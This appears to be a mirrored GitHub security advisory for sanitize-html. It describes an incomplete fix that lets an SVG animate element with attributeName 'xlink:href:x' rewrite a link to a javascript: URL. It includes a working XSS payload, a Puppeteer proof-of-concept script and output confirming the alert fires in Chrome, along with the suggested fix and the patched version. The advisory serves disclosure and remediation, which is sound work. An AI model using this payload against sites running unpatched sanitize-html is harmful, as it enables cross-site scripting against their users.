GHSA-8G6G-W2RQ-XCMC
sanitize-html: SMIL attributeName extra-colon bypass (e.g. "xlink:href:x") allows javascript: URI injection (XSS); incomplete fix of GHSA-374f-7chj-9948
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-8G6G-W2RQ-XCMC divulgada · CVSS 4.7 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Remediación | Parche 2.18.2 | sanitize-html · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
_Reported by email to security@apostrophecms.com by Zachariah Mithani (AploSec) on 2026-10-23 (GitHub was rate-limiting private vulnerability reports from their account). Transcribed here at the reporter's request._
Summary
sanitize-html 2.18.0 and 2.18.1 (latest) still let a SMIL `<animate>` or `<set>` element animate a link's `xlink:href` to a `javascript:` URL when `attributeName` has an extra colon, for example `attributeName="xlink:href:x"`. The 2.18.0 fix (GHSA-374f-7chj-9948) removes animate/set when `attributeName` is `href` or `xlink:href`, but the extra-colon spelling is kept together with `values="javascript:..."`, and Chrome resolves it to `xlink:href`. Clicking the link then runs the script. This looks like an incomplete fix of GHSA-374f-7chj-9948.
Affected configurations
Default options are not affected (svg/animate are not allowed, and the payload is stripped). It affects configurations that allow SVG animation elements:
- allow-all: `{ allowedTags: false, allowedAttributes: false, allowedSchemes: ['http', 'https'] }`
- an allowlist on top of the defaults that adds `svg`, `animate` (or `set`), `a`, and allows the animate attributes `href`, `attributename`, `values`
- the documented SVG case-preserving setup (`lowerCaseTags: false`, `lowerCaseAttributeNames: false`) with those tags allowed
These are the same kinds of configurations the 2.18.0 SMIL fix was meant to protect, since the `javascript:` scheme is already blocked by `allowedSchemes` there.
Details
Input:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><a id="q" href="https://safe.example/ok"><rect width="200" height="80" fill="blue"></rect><text x="10" y="40">click</text></a><animate href="#q" attributeName="xlink:href:x" values="javascript:alert(1)" dur="0.01s" fill="freeze"></animate></svg>Result with sanitize-html 2.18.1 and the allow-all config above: the output keeps `<animate href="#q" attributename="xlink:href:x" values="javascript:alert(1)" ...>`. In Chrome 156.0.8078.47 the link's `href.animVal` becomes `javascript:alert(1)`, and a click raises the alert dialog. Same result with the allowlist config.
Controls, same run: `attributeName="href"` and `attributeName="xlink:href"` are removed by the 2.18.0 fix and the link keeps `https://safe.example/ok`, no dialog. Default options strip the payload entirely.
Note: in an older Chrome (137) the sanitizer output is the same but Chrome did not apply the animation, so the browser-side effect depends on the Chrome version; current Chrome applies it.
Suggested fix (from reporter)
When deciding whether an animate/set targets a URL attribute, normalise `attributeName` the way browsers do (take the local name after the first prefix separator, and treat any value whose local part starts with `href` as a URL attribute), or reject `attributeName` values containing more than one colon.
PoC
`run.sh` (runs the PoC in the official Puppeteer image with bundled Chrome; `PPTR` selects the image tag):
#!/bin/sh
docker run --rm -v "$PWD":/w -w /w --user root -e PUPPETEER_CACHE_DIR=/home/pptruser/.cache/puppeteer -e NODE_PATH=/home/pptruser/node_modules \
ghcr.io/puppeteer/puppeteer:${PPTR:-latest} sh -c 'rm -rf node_modules package*.json; npm i --silent --no-audit --no-fund --no-save sanitize-html@2.18.1 >/dev/null 2>&1 && node poc.js'`poc.js`:
// sanitize-html 2.18.x: SMIL attributeName "xlink:href:x" survives and Chrome animates xlink:href to javascript:
const sanitizeHtml = require('sanitize-html');
const puppeteer = require('puppeteer');
const payload = (attr) =>
'<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">' +
'<a id="q" href="https://safe.example/ok"><rect width="200" height="80" fill="blue"></rect>' +
'<text x="10" y="40">click</text></a>' +
`<animate href="#q" attributeName="${attr}" values="javascript:alert(1)" dur="0.01s" fill="freeze"></animate></svg>`;
const configs = {
'default options': undefined,
'allow-all, schemes http/https': { allowedTags: false, allowedAttributes: false, allowedSchemes: ['http', 'https'] },
'allowlist adding svg/animate': {
allowedTags: sanitizeHtml.defaults.allowedTags.concat(['svg', 'animate', 'set', 'text', 'rect', 'a']),
allowedAttributes: { svg: ['xmlns', 'xmlns:xlink'], animate: ['href', 'attributename', 'values', 'dur', 'fill'], a: ['href', 'id'], rect: ['width', 'height', 'fill'], text: ['x', 'y'] },
},
};
(async () => {
console.log('sanitize-html', require('sanitize-html/package.json').version);
const browser = await puppeteer.launch({ args: ['--no-sandbox'] });
console.log('browser', await browser.version());
for (const attr of ['xlink:href:x', 'href', 'xlink:href']) {
for (const [name, opts] of Object.entries(configs)) {
const out = sanitizeHtml(payload(attr), opts);
const page = await browser.newPage();
let dialog = 'none';
page.on('dialog', async (d) => { dialog = `${d.type()}:${d.message()}`; await d.dismiss(); });
await page.setContent(`<!doctype html><body>${out}</body>`);
await new Promise((r) => setTimeout(r, 300));
const anim = await page.evaluate(() => { const a = document.querySelector('a'); const h = a && (a.href && a.href.animVal); return h || null; });
const rect = await page.$('rect');
if (rect) { try { await rect.click(); } catch (e) {} }
await new Promise((r) => setTimeout(r, 500));
const kept = /javascript:/i.test(out);
console.log(`attributeName=${attr} | ${name} | javascript: kept=${kept} | animVal=${anim} | dialog=${dialog}`);
if (attr === 'xlink:href:x' && name !== 'default options') console.log(' sanitized:', out);
await page.close();
}
}
await browser.close();
})();Reporter's output:
sanitize-html 2.18.1
browser Chrome/156.0.8078.47
attributeName=xlink:href:x | default options | javascript: kept=false | animVal=null | dialog=none
attributeName=xlink:href:x | allow-all, schemes http/https | javascript: kept=true | animVal=javascript:alert(1) | dialog=alert:1
sanitized: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><a id="q" href="https://safe.example/ok"><rect width="200" height="80" fill="blue"></rect><text x="10" y="40">click</text></a><animate href="#q" attributename="xlink:href:x" values="javascript:alert(1)" dur="0.01s" fill="freeze"></animate></svg>
attributeName=xlink:href:x | allowlist adding svg/animate | javascript: kept=true | animVal=javascript:alert(1) | dialog=alert:1
sanitized: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><a id="q" href="https://safe.example/ok"><rect width="200" height="80" fill="blue"></rect><text x="10" y="40">click</text></a><animate href="#q" attributename="xlink:href:x" values="javascript:alert(1)" dur="0.01s" fill="freeze"></animate></svg>
attributeName=href | default options | javascript: kept=false | animVal=null | dialog=none
attributeName=href | allow-all, schemes http/https | javascript: kept=false | animVal=https://safe.example/ok | dialog=none
attributeName=href | allowlist adding svg/animate | javascript: kept=false | animVal=https://safe.example/ok | dialog=none
attributeName=xlink:href | default options | javascript: kept=false | animVal=null | dialog=none
attributeName=xlink:href | allow-all, schemes http/https | javascript: kept=false | animVal=https://safe.example/ok | dialog=none
attributeName=xlink:href | allowlist adding svg/animate | javascript: kept=false | animVal=https://safe.example/ok | dialog=noneImpact
Stored/reflected XSS in applications that sanitize untrusted HTML with sanitize-html configured to allow SVG animation elements (`animate`/`set`) with `attributeName` and `values`, despite `allowedSchemes` excluding `javascript:`. Requires a user click on the affected link in a browser that applies the animation (current Chrome). The reporter has requested a CVE and offered to test a fix.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmsanitize-html |
Corregida | 2.18.2 | 0 d | 2.18.2 no afectada |
2.18.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-8g6g-w2rq-xcmcLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
